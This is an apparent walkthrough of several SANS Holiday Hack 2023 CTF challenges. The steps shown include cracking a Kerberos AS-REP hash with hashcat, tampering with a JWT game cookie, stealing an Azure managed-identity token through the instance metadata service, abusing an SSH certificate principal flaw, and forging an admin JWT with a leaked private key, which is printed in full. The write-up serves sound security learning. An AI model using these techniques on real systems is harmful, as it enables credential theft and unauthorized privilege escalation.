Onward to our next adventure, comrade! Feel free to explore this whimsical world of gears and steam!
๐ก Breakdown:
Using the destinations menu, quick travel to Scaredy Kite Heights on the Island of Misfit Toys. Head northeast to find Eve Snowshoes and interact with the Hashcat Cranberry Pi terminal.
Understand the hash type to be cracked is Kerberos 5, etype 23, AS-REP (18200) by viewing the hash.txt file and comparing it against example hashes.
elf@6881680c1305:~$ cat hash.txt
$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966elf@b488e8994f7f:~$
Crack the hash using hashcat and the provided wordlist.
elf@6881680c1305:~$ hashcat -m 18200 hash.txt password_list.txt -w 1 -u 1 --kernel-accel 1 --kernel-loops 1 --force
hashcat (v5.1.0) starting...
OpenCL Platform #1: The pocl project
====================================
* Device #1: pthread-Intel(R) Xeon(R) CPU @ 2.80GHz, 8192/30063 MB allocatable, 8MCU
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
ATTENTION! Pure (unoptimized) OpenCL kernels selected.
This enables cracking passwords and salts > length 32 but for the price of drastically reduced performance.
If you want to switch to optimized OpenCL kernels, append -O to your commandline.
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
* Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=16 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=18200 -D _unroll'
* Device #1: Kernel m18200_a0-pure.d7bc3268.kernel not found in cache! Building may take a while...
Dictionary cache built:
* Filename..: password_list.txt
* Passwords.: 144
* Bytes.....: 2776
* Keyspace..: 144
* Runtime...: 0 secs
The wordlist or mask that you are using is too small.
This means that hashcat cannot use the full parallel power of your device(s).
Unless you supply more work, your cracking speed will drop.
For tips on supplying more work, see: https://hashcat.net/faq/morework
Approaching final keyspace - workload adjusted.
$krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2bceeaa73227ea4021879eda02$8f07417379e610e2dcb0621462fec3675bb5a850aba31837d541e50c622dc5faee60e48e019256e466d29b4d8c43cbf5bf7264b12c21737499cfcb73d95a903005a6ab6d9689ddd2772b908fc0d0aef43bb34db66af1dddb55b64937d3c7d7e93a91a7f303fef96e17d7f5479bae25c0183e74822ac652e92a56d0251bb5d975c2f2b63f4458526824f2c3dc1f1fcbacb2f6e52022ba6e6b401660b43b5070409cac0cc6223a2bf1b4b415574d7132f2607e12075f7cd2f8674c33e40d8ed55628f1c3eb08dbb8845b0f3bae708784c805b9a3f4b78ddf6830ad0e9eafb07980d7f2e270d8dd1966:IluvC4ndyC4nes!
Session..........: hashcat
Status...........: Cracked
Hash.Type........: Kerberos 5 AS-REP etype 23
Hash.Target......: $krb5asrep$23$alabaster_snowball@XMAS.LOCAL:22865a2...dd1966
Time.Started.....: Thu Dec 7 00:09:19 2023 (0 secs)
Time.Estimated...: Thu Dec 7 00:09:19 2023 (0 secs)
Guess.Base.......: File (password_list.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1139 H/s (1.07ms) @ Accel:1 Loops:1 Thr:64 Vec:16
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 144/144 (100.00%)
Rejected.........: 0/144 (0.00%)
Restore.Point....: 0/144 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-0
Candidates.#1....: 1LuvCandyC4n3s!2022 -> iLuvC4ndyC4n3s!23!
Started: Thu Dec 7 00:09:00 2023
Stopped: Thu Dec 7 00:09:20 2023
IluvC4ndyC4nes!
Submit IluvC4ndyC4nes! via /bin/runtoanswer to solve the challenge.
elf@6881680c1305:~$ /bin/runtoanswer IluvC4ndyC4nes!
Your answer: IluvC4ndyC4nes!
Checking....
Your answer is correct!
๐ Elf Hunt ๐๐๐
๐ Objective: Piney Sappington needs a lesson in JSON web tokens. Hack Elf Hunt and score 75 points.
โต Destination: Pixel Island (Rainraster Cliffs)
โ๏ธ Solution: Get at least 75 points in the Elf Hunt challenge.
- โ๏ธ Sail north to
Pixel Islandand dock atRainraster Cliffson the back of the island - โ๏ธ Head east and north up the ladder to find
Piney Sappingtonand theElf Huntchallenge - โ๏ธ Intercept and modify the assigned
ElfHunt_JWTcookie to adjust elf speed - โ๏ธ Play the game and win the challenge, or just set your score to win
๐ฌ Piney Sappington Conversation:
Hey there, friend! Piney Sappington here.
You look like someone who's good with puzzles and games.
I could really use your help with this Elf Hunt game I'm stuck on.
I think it has something to do with manipulating JWTs, but I'm a bit lost.
If you help me out, I might share some juicy secrets I've discovered.
Let's just say things around here haven't been exactly... normal.
So, what do ya say? Are you in?
Oh, brilliant! I just know we'll crack this game together.
I can't wait to see what we uncover, and remember, mum's the word!
Thanks a bunch! Keep your eyes open and your ears to the ground.
Well done! You've brilliantly won Elf Hunt! I couldn't be more thrilled. Keep up the fine work, my friend!
What have you found there? The Captain's Journal? Yeah, he comes around a lot. You can find his comms office over at Brass Buoy Port on Steampunk Island.
๐ก Breakdown:
Sail north to Pixel Island and dock at Rainraster Cliffs. Head east and then north up the ladder to find Piney Sappington and the Elf Hunt challenge.
Play the challenge and intercept requests to and from elfhunt.org to find the assigned ElfHunt_JWT cookie.
Modify the second half of the cookie (preceding the first ., and change the speed variable to slow down the elves.
Replace the current ElfHunt_JWT cookie to include the modified speed variable.
JavaScript controlling the game can be examined to see this variable is set to control the speed of the elves. Thereโs also variables that control how many images (sponsor posters) will impede the gameplay.
Despite all of this the game doesnโt need to be played at all. The returned JavaScript can be modified to set the starting score variable to 75 or greater and instantly win the game.
This same modification can be made using the console at any time to instantly win the game.
๐ Certificate SSHenanigans ๐๐๐๐๐
๐ Objective: Go to Pixel Island and review Alabaster Snowballโs new SSH certificate configuration and Azure Function App. What type of cookie cache is Alabaster planning to implement?
โต Destination: Pixel Island (Rainraster Cliffs)
โ๏ธ Solution: Gingerbread
- โ๏ธ Head east and then north further up ladders to reach
Alabaster Snowball - โ๏ธ Speak to
Alabasterto learn about the Northpole SSH Certificates web application - โ๏ธ Generate a
certificateandupload the public keyto the application - โ๏ธ Use the
system public keyandgenerated public keyto access themonitoraccount - โ๏ธ Breakout of the
SatTrackerinterface and use the Azure Instance Metadata Service to request anauthorizationkey - โ๏ธ Use the
authorizationkey to uncover the source code and locate the hiddenPrincipalmanipulation vulnerability - โ๏ธ Generate a new public key to access the
alabasteraccount and readalabaster_todo.md
๐ฌ Alabaster Snowball Conversation:
Hey there! I'm currently a bit swamped with this Azure deployment.
Once I'm done I'll tell you about it. It's pretty awesome!
You'll need a bit of Azure knowledge though. Sparkle Redberry can help you get up to speed on that. You can find her at the Rudolph's Rest Resort on Christmas Island.
Hello there! Alabaster Snowball at your service.
I could use your help with my fancy new Azure server at ssh-server-vm.santaworkshopgeeseislands.org.
ChatNPT suggested I upgrade the host to use SSH certificates, such a great idea!
It even generated ready-to-deploy code for an Azure Function App so elves can request their own certificates. What a timesaver!
I'm a little wary though. I'd appreciate it if you could take a peek and confirm everything's secure before I deploy this configuration to all the Geese Islands servers.
Generate yourself a certificate and use the monitor account to access the host. See if you can grab my TODO list.
If you haven't heard of SSH certificates, Thomas Bouve gave an introductory talk and demo on that topic recently.
Oh, and if you need to peek at the Function App code, there's a handy Azure REST API endpoint which will give you details about how the Function App is deployed.
Oh my! I was so focused on the SSH configuration I completely missed the vulnerability in the Azure Function App.
Why would ChatNPT generate code with such a glaring vulnerability? It's almost like it wanted my system to be unsafe. Could ChatNPT be evil?
Thanks for the help, I'll go and update the application code immediately!
While we're on the topic of certificates, did you know Active Directory (AD) uses them as well? Apparently the service used to manage them can have misconfigurations too.
You might be wondering about that SatTrackr tool I've installed on the monitor account?
Here's the thing, on my nightly stargazing adventures I started noticing the same satellite above Geese Islands.
I wrote that satellite tracker tool to collect some additional data and sure enough, it's in a geostationary orbit above us.
No idea what that means yet, but I'm keeping a close eye on that thing!
๐ก Breakdown:
Head east to find another ladder, climb this ladder before heading west and climbing a final ladder to Alabaster Snowball.
Talk to Alabaster to learn about the Northpole SSH Certificates web application and challenge objective.
Use ssh-keygen to create a public and private key pair.
root@mintsec:~/Desktop/Kringlecon2023# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /root/Desktop/Kringlecon2023/.ssh/id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/Desktop/Kringlecon2023/.ssh/id_rsa.
Your public key has been saved in /root/Desktop/Kringlecon2023/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:SElnZMRuO+VDY+yhDo4mlFqZDbwC0bY+/+7lLhQ8FHE root@mintsec
The key's randomart image is:
+---[RSA 3072]----+
| . +*E |
|. o ..*. |
| + . oo. . |
|. + .+.o B |
|.. B .+SO o |
|. X . o + + |
| = o + o.. . |
|. . + oo. |
| o ++oo |
+----[SHA256]-----+
Submit the public key (in this instance /root/Desktop/Kringlecon2023/.ssh/id_rsa.pub) to the web application and retrieve the ssh_cert generated. Save the content to a file locally (in this instance /root/Desktop/Kringlecon2023/.ssh/certificate.pub)
Confirm the key is valid.
ssh-keygen -lf /root/Desktop/Kringlecon2023/.ssh/certificate.pub
Provide the generated system certificate public key to the web application along with your private key to authenticate as the monitor user account.
ssh -i /root/Desktop/Kringlecon2023/.ssh/certificate.pub -i /root/Desktop/Kringlecon2023/.ssh/id_rsa [email protected]
Using CTRL + C break out of the monitoring application into a user bash shell. Examine user principals on the system at /etc/ssh/auth_principals to determine elf and admin are available.
Using the Azure Instance Metadata Service (IMDS) request an authorization token from the managed identities for Azure resources endpoint.
monitor@ssh-server-vm:~$ curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s|jq
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwMDI1NjYsIm5iZiI6MTcwMjAwMjU2NiwiZXhwIjoxNzAyMDg5MjY2LCJhaW8iOiJFMlZnWU5pNzlQdWxoNmNUOVd2YWRJN2ZXMnRlRFFBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiJCTGNmSXZCX09FbVpHMkJaUkZZVkFBIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.CVLsdF92cK4DAh_pYHSJkTVT6l_IwId6wiQ8P0tMpQyt-NSxAtdAJ1wBACcV5JtkeiKsx0Aja2Wtqwuuv7x0QVpIw_PZQeJ06LEvScEFP-Wg4gj9Tgdopb3cj2sr6ycNOWak1qmG09wmM8TAUbb1S-giJDJcbfHIcU4k1jToia5Q0Xx2cZl_0DkKs4T4t5ueENglpoAKFtEllb-jNXxXSKbgnFnPJ3dXqdAiJTWIf4PJY3qOPCikNuPdLLtXrsGJMK5HfkpCOT1DN_bk1iHSWu0FJOFd4TgBIURFVORVQz_szXnXN96NLef2TZ0DNYtsy4nJjuZGdnkggpZz3NNTvw",
"client_id": "b84e06d3-aba1-4bcc-9626-2e0d76cba2ce",
"expires_in": "84651",
"expires_on": "1702089266",
"ext_expires_in": "86399",
"not_before": "1702002566",
"resource": "https://management.azure.com/",
"token_type": "Bearer"
}
Using the Azure IMDS enumerate subscription and resource group information.
monitor@ssh-server-vm:~$ curl -s -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | jq
{
"compute": {
"azEnvironment": "AzurePublicCloud",
"customData": "",
"evictionPolicy": "",
"isHostCompatibilityLayerVm": "false",
"licenseType": "",
"location": "eastus",
"name": "ssh-server-vm",
"offer": "",
"osProfile": {
"adminUsername": "",
"computerName": "",
"disablePasswordAuthentication": ""
},
"osType": "Linux",
"placementGroupId": "",
"plan": {
"name": "",
"product": "",
"publisher": ""
},
"platformFaultDomain": "0",
"platformUpdateDomain": "0",
"priority": "",
"provider": "Microsoft.Compute",
"publicKeys": [],
"publisher": "",
"resourceGroupName": "northpole-rg1",
"resourceId": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/virtualMachines/ssh-server-vm",
"securityProfile": {
"secureBootEnabled": "false",
"virtualTpmEnabled": "false"
},
"sku": "",
"storageProfile": {
"dataDisks": [],
"imageReference": {
"id": "",
"offer": "",
"publisher": "",
"sku": "",
"version": ""
},
"osDisk": {
"caching": "ReadWrite",
"createOption": "Attach",
"diffDiskSettings": {
"option": ""
},
"diskSizeGB": "30",
"encryptionSettings": {
"enabled": "false"
},
"image": {
"uri": ""
},
"managedDisk": {
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.Compute/disks/ssh-server-vm_os_disk",
"storageAccountType": "Standard_LRS"
},
"name": "ssh-server-vm_os_disk",
"osType": "Linux",
"vhd": {
"uri": ""
},
"writeAcceleratorEnabled": "false"
},
"resourceDisk": {
"size": "38912"
}
},
"subscriptionId": "2b0942f3-9bca-484b-a508-abdae2db5e64",
"tags": "Project:HHC23",
"tagsList": [
{
"name": "Project",
"value": "HHC23"
}
],
"userData": "",
"version": "",
"vmId": "dc64208e-c208-446d-8288-7f2488035e34",
"vmScaleSetName": "",
"vmSize": "Standard_B2s",
"zone": ""
},
"network": {
"interface": [
{
"ipv4": {
"ipAddress": [
{
"privateIpAddress": "10.0.0.50",
"publicIpAddress": ""
}
],
"subnet": [
{
"address": "10.0.0.0",
"prefix": "24"
}
]
},
"ipv6": {
"ipAddress": []
},
"macAddress": "7C1E520227A2"
}
]
}
}
Adding the Authorization token to a request header, use the Get Source Control REST API endpoint to retrieve the github repository hosting the web application.
Examine the function_app.py script to discover it is attempting to parse a given parameter called principal and then it uses this on the generated certificate.
Exploit the principal manipulation vulnerability by making a new POST request to the web application including a principal field with the value admin.
Save the retrieved certificate key (in this instance to /root/Desktop/Kringlecon2023/.ssh/certificate2.pub) and use this to authenticate to the SSH server as alabaster.
ssh -i /root/Desktop/Kringlecon2023/.ssh/certificate2.pub -i /root/Desktop/Kringlecon2023/.ssh/id_rsa [email protected]
Read alabaster_todo.md and submit the name of the cookie cache that Alabaster needs to implement.
alabaster@ssh-server-vm:~$ ls
alabaster_todo.md impacket
alabaster@ssh-server-vm:~$ cat alabaster_todo.md
# Geese Islands IT & Security Todo List
- [X] Sleigh GPS Upgrade: Integrate the new "Island Hopper" module into Santa's sleigh GPS. Ensure Rudolph's red nose doesn't interfere with the signal.
- [X] Reindeer Wi-Fi Antlers: Test out the new Wi-Fi boosting antler extensions on Dasher and Dancer. Perfect for those beach-side internet browsing sessions.
- [ ] Palm Tree Server Cooling: Make use of the island's natural shade. Relocate servers under palm trees for optimal cooling. Remember to watch out for falling coconuts!
- [ ] Eggnog Firewall: Upgrade the North Pole's firewall to the new EggnogOS version. Ensure it blocks any Grinch-related cyber threats effectively.
- [ ] Gingerbread Cookie Cache: Implement a gingerbread cookie caching mechanism to speed up data retrieval times. Don't let Santa eat the cache!
- [ ] Toy Workshop VPN: Establish a secure VPN tunnel back to the main toy workshop so the elves can securely access to the toy blueprints.
- [ ] Festive 2FA: Roll out the new two-factor authentication system where the second factor is singing a Christmas carol. Jingle Bells is said to be the most secure.
Gingerbread
๐ The Captainโs Comms ๐๐๐๐๐
๐ Objective: Speak with Chimney Scissorsticks on Steampunk Island about the interesting things the captain is hearing on his new Software Defined Radio. Youโll need to assume the GeeseIslandsSuperChiefCommunicationsOfficer role.
โต Destination: Steampunk Island (Brass Bouy Port)
โ๏ธ Solution: Using the GeeseIslandsSuperChiefCommunicationsOfficer role transmit 1224 and 1200 over the frequency 10426
- โ๏ธ Quick travel back to
Brass Bouy PortonSteampunk Island - โ๏ธ Head west, south, and then east to get to
Chimney ScissorsticksandThe Captain's Commschallenge - โ๏ธ Interact with the challenge and locate the
rMonitor.tokfile - โ๏ธ Modify
authorizationheader usingrMonitor.tokcontents to getRadioMonitoraccess - โ๏ธ Using the same naming convention locate a
rDecoder.tokfile - โ๏ธ Modify
authorizationheader usingrDecoder.tokcontents to getRadioDecoderaccess - โ๏ธ Decode the first
signal spiketo uncover the captainโs secret folderTH3CAPSPR1V4T3F0LD3R - โ๏ธ Decode the second
signal spiketo uncover theGo DateandGo Timeof the attack - โ๏ธ Decode the third
signal spiketo uncover thefrequencyto transmit on - โ๏ธ Obtain the captainโs
private keyandsign a JWT tokento grantGeeseIslandsSuperChiefCommunicationsOfficerprivileges - โ๏ธ Transmit the new time of attack
4hours earlier than the one previously identified
๐ฌ Chimney Scissorsticks Conversation:
Heya, think you could help Piney Sappington on Rainraster Cliffs on Pixel Island and then give me a hand?
Ahoy there, I'm Chimney Scissorsticks!
You may have noticed some mischief-makers planning to stir up trouble ashore.
They've made many radio broadcasts which the captain has been monitoring with his new software defined radio (SDR).
The new SDR uses some fancy JWT technology to control access.
The captain has a knack for shortening words, some sorta abbreviation trick.
Not familiar with JWT values? No worries; just think of it as a clue-solving game.
I've seen that the Captain likes to carry his journal with him wherever he goes.
If only I could find the planned "go-date", "go-time", and radio frequency they plan to use.
Remember, the captain's abbreviations are your guiding light through this mystery!
Once we find a JWT value, these villains won't stand a chance.
The closer we are, the sooner we'll be thwarting their pesky plans!
We need to recreate an administrative JWT value to successfully transmit a message.
Good luck, matey! I've no doubts about your cleverness in cracking this conundrum!
Brilliant work! You've outsmarted those scoundrels with finesse!
๐ก Breakdown:
Quick travel to Brass Bouy Port on Steampunk Island and head west, south, and then east to get to Chimney Scissorsticks and The Captain's Comms challenge.
Identify various clickable components of the challenge, and understand the objective. Specifically after identifying the go-time of the attack, a new transmission needs to be sent which is 4 hours earlier.
Starting out with very limited access rights the Just Watch This: Owner's Card mentions that thereโs 3 roles, RadioUser, RadioMonitor, and RadioDecoder, in addition to the administrator role created during install.
Intercepting and examining any request shows the user cookie weโre assigned that grants us the radioUser role. This JWT token has a signature which is being validated, preventing us from trivially setting access rights to a different role.
Headers = {
"alg": "RS256",
"typ": "JWT"
}
Payload = {
"iss": "HHC 2023 Captain's Comms",
"iat": 1699485795.3403327,
"exp": 1809937395.3403327,
"aud": "Holiday Hack 2023",
"role": "radioUser"
}
Signature = "BGxJLMZw-FHI9NRl1xt_f25EEnFcAYYu173iqf-6dgoa_X3V7SAe8scBbARyusKq2kEbL2VJ3T6e7rAVxy5Eflr2XFMM5M-Wk6Hqq1lPvkYPfL5aaJaOar3YFZNhe_0xXQ__k__oSKN1yjxZJ1WvbGuJ0noHMm_qhSXomv4_9fuqBUg1t1PmYlRFN3fNIXh3K6JEi5CvNmDWwYUqhStwQ29SM5zaeLHJzmQ1Ey0T1GG-CsQo9XnjIgXtf9x6dAC00LYXe1AMly4xJM9DfcZY_KjfP-viyI7WYL0IJ_UOtIMMN0u-XO8Q_F3VO0NyRIhZPfmALOM2Liyqn6qYTjLnkg"
The Just Watch This: Owner's Card hints that a rMonitor.tok file containing the radioMonitor role token was created in the /jwtDefault directory. This clue allows retrieving the file from https://captainscomms.com/jwtDefault/rMonitor.tok so long as a proper authorization token of radioUser is sent in the header. Failing to include the correct header presents an error.
The script converting any justWatchThisRole cookie into an Authorization header can be found by viewing network traffic or intercepting requests to and from captainscomms.com.
By either setting the appropriate Authorization header or justWatchThisRole cookie, the JWT to become radioMonitor is obtained.
Setting this JWT in Burp Suite and decoding it using the JWT Editor extension, we can see that it is a long-lived token for the radioMonitor account.
At this point thereโs now access to the radio monitor, but without the ability to decode any of the radio waves.
Looking back at the Just Watch This: Owner's Card, it mentions that the radioDecoder role is also setup during system install. Using the naming convention knowledge of rMonitor.tok being the radio monitor default JWT token, the radio decoder token can be found at https://captainscomms.com/jwtDefault/rDecoder.tok.
Setting this as the new Authorization header or justWatchThisRole cookie allows access to decoding the radio waves.
โ Radio wave 1
The first radio wave reveals a message stating SILLY CAPTAIN! WE FOUND HIS FANCY RADIO PRIVATE KEY IN A FOLDER CALLED TH3CAPSPR1V4T3F0LD3R.
This provides part of the location where the captainโs private key is located.
โ Radio wave 2
The second radio wave reveals what looks to be a numbers station broadcast based on what is inferred in the Just Watch This Appendix A - Decoder Index.
By stripping the message back to 5-digit number groups, it appears that every number is padded with the value 9.
12249 12249 16009 16009 12249 12249 16009 16009
Stripping this off leaves 2 unique values.
1224 1600
These values indicate the date and time the attack will take place (November 24, at 4pm)
โ Radio wave 3
The third radio wave reveals a drawing of Geese Islands including a frequency value 10426.
At this point thereโs enough to solve the challenge if you have access to the administrator role. After completing the Elf Hunt challenge a captains journal is discovered that talks about the role of GeeseIslandsSuperChiefCommunicationsOfficer.
This is likely the role required, but cannot be accessed without the captainโs private key. Looking at the Captain's ChatNPT Initial To-Do List, it states the private key has been moved to a keys folder in the same directory as the roleMonitor token.
Based on this the captains private key can be found at https://captainscomms.com/jwtDefault/keys/TH3CAPSPR1V4T3F0LD3R/capsPrivKey.key when accessed with the radioDecoder Authorization header.
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwlm4slUHgR+1Q
5A3UC7BXMnKvUxrjEWjoSwTOuSmudBx2DDPaIwzvogSIfwWWApkbVTRFTg3ey4jb
g0mxvnAnfbshhcC44sEvMg3rmdCEn3AE9HtZ3gSijbAk/abYcrCRblhp2PpPZiDB
kuah3eqfomWE3TcM6TVuI24sPJZqj4w+aDZFzENHY9Gd8Fqu3PDQc8HXILZKnfd4
MaSkhdpzH+UZUcVXETWm1c/5qw4DMrXAR7PIOPJTFlwwyZXRWJvN5dvGxdi9XeSd
JyvZZg6pnmyxrhFqH2xaebQIobrfz+VUP2TBu9w7aUyVR5Onu/A5NcQbJp2kHRay
4gq48fq5AgMBAAECggEATlcmYJQE6i2uvFS4R8q5vC1u0JYzVupJ2sgxRU7DDZiI
adyHAm7LVeJQVYfYoBDeANC/hEGZCK7OM+heQMMGOZbfdoNCmSNL5ha0M0IFTlj3
VtNph9hlwQHP09FN/DeBWruT8L1oauIZhRcZR1VOuexPUm7bddheMlL4lRp59qKj
9k1hUQ3R3qAYST2EnqpEk1NV3TirnhIcAod53aAzcAqg/VruoPhdwmSv/xrfDS9R
DCxOzplHbVQ7sxZSt6URO/El6BrkvVvJEqECMUdON4agNEK5IYAFuIbETFNSu1TP
/dMvnR1fpM0lPOXeUKPNFveGKCc7B4IF2aDQ/CvD+wKBgQDpJjHSbtABNaJqVJ3N
/pMROk+UkTbSW69CgiH03TNJ9RflVMphwNfFJqwcWUwIEsBpe+Wa3xE0ZatecEM9
4PevvXGujmfskst/PuCuDwHnQ5OkRwaGIkujmBaNFmpkF+51v6LNdnt8UPGrkovD
onQIEjmvS1b53eUhDI91eysPKwKBgQDB5RVaS7huAJGJOgMpKzu54N6uljSwoisz
YJRY+5V0h65PucmZHPHe4/+cSUuuhMWOPinr+tbZtwYaiX04CNK1s8u4qqcX2ZRD
YuEv+WNDv2e1XjoWCTxfP71EorywkEyCnZq5kax3cPOqBs4UvSmsR9JiYKdeXfaC
VGiUyJgLqwKBgQDL+VZtO/VOmZXWYOEOb0JLODCXUdQchYn3LdJ3X26XrY2SXXQR
wZ0EJqk8xAL4rS8ZGgPuUmnC5Y/ft2eco00OuzbR+FSDbIoMcP4wSYDoyv5IIrta
bnauUUipdorttuIwsc/E4Xt3b3l/GV6dcWsCBK/i5I7bW34yQ8LejTtGsQKBgAmx
NdwJpPJ6vMurRrUsIBQulXMMtx2NPbOXxFKeYN4uWhxKITWyKLUHmKNrVokmwelW
Wiodo9fGOlvhO40tg7rpfemBPlEG405rBu6q/LdKPhjm2Oh5Fbd9LCzeJah9zhVJ
Y46bJY/i6Ys6Q9rticO+41lfk344HDZvmbq2PEN5AoGBANrYUVhKdTY0OmxLOrBb
kk8qpMhJycpmLFwymvFf0j3dWzwo8cY/+2zCFEtv6t1r7b8bjz/NYrwS0GvEc6Bj
xVa9JIGLTKZt+VRYMP1V+uJEmgSnwUFKrXPrAsyRaMcq0HAvQOMICX4ZvGyzWhut
UdQXV73mNwnYl0RQmBnDOl+i
-----END PRIVATE KEY-----
Adding this private key into the JWT Editor extension of Burp Suite, the JWT can then be modified to grant access to the role of GeeseIslandsSuperChiefCommunicationsOfficer before being resigned to ensure a valid signature.
This grants access to a new Authorization token (in this instance shown below).
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJISEMgMjAyMyBDYXB0YWluJ3MgQ29tbXMiLCJpYXQiOjE2OTk0ODU3OTUuMzQwMzMyNywiZXhwIjoxODA5OTM3Mzk1LjM0MDMzMjcsImF1ZCI6IkhvbGlkYXkgSGFjayAyMDIzIiwicm9sZSI6IkdlZXNlSXNsYW5kc1N1cGVyQ2hpZWZDb21tdW5pY2F0aW9uc09mZmljZXIifQ.N-8MdT6yPFge7zERpm4VdLdVLMyYcY_Wza1TADoGKK5_85Y5ua59z2Ke0TTyQPa14Z7_Su5CpHZMoxThIEHUWqMzZ8MceUmNGzzIsML7iFQElSsLmBMytHcm9-qzL0Bqb5MeqoHZYTxN0vYG7WaGihYDTB7OxkoO_r4uPSQC8swFJjfazecCqIvl4T5i08p5Ur180GxgEaB-o4fpg_OgReD91ThJXPt7wZd9xMoQjSuPqTPiYrP5o-aaQMcNhSkMix_RX1UGrU-2sBlL01FxI7SjxPYu4eQbACvuK6G2wyuvaQIclGB2Qh3P7rAOTpksZSex9RjtKOiLMCafTyfFng
Using this token the transmitter can now be accessed.
Transmitting the correct frequency, go-date, and go-time previously obtained whilst ensuring the go-time is reduced by 4 hours solves the challenge.
- Frequency:
10426 - Go Date:
1224 - Go Time: 1600-400=
1200
๐ Active Directory ๐๐๐๐
๐ Objective: Go to Steampunk Island and help Ribb Bonbowford audit the Azure AD environment. Whatโs the name of the secret file in the inaccessible folder on the FileShare?
โต Destination: Steampunk Island (Coggoggle Marina)
โ๏ธ Solution: InstructionsForEnteringSatelliteGroundStation.txt
- โ๏ธ Sail west on
Steampunk Islandto reachCoggoggle Marina - โ๏ธ Head east to find and talk to
Ribb Bonbowford - โ๏ธ Connect back into the
Azure environmentusing theSSH keyscreated to authenticate asAlabasterfromCertificate SSHenanigans - โ๏ธ Use the Azure
REST APIto generate anAuthorizationtoken formanagement.azure.comand enumerate available resource API endpoints - โ๏ธ Use the Azure
REST APIto generate anAuthorizationtoken forvault.azure.netand access the secrettmpAddUserScriptwithinnorthpole-it-kv - โ๏ธ Use
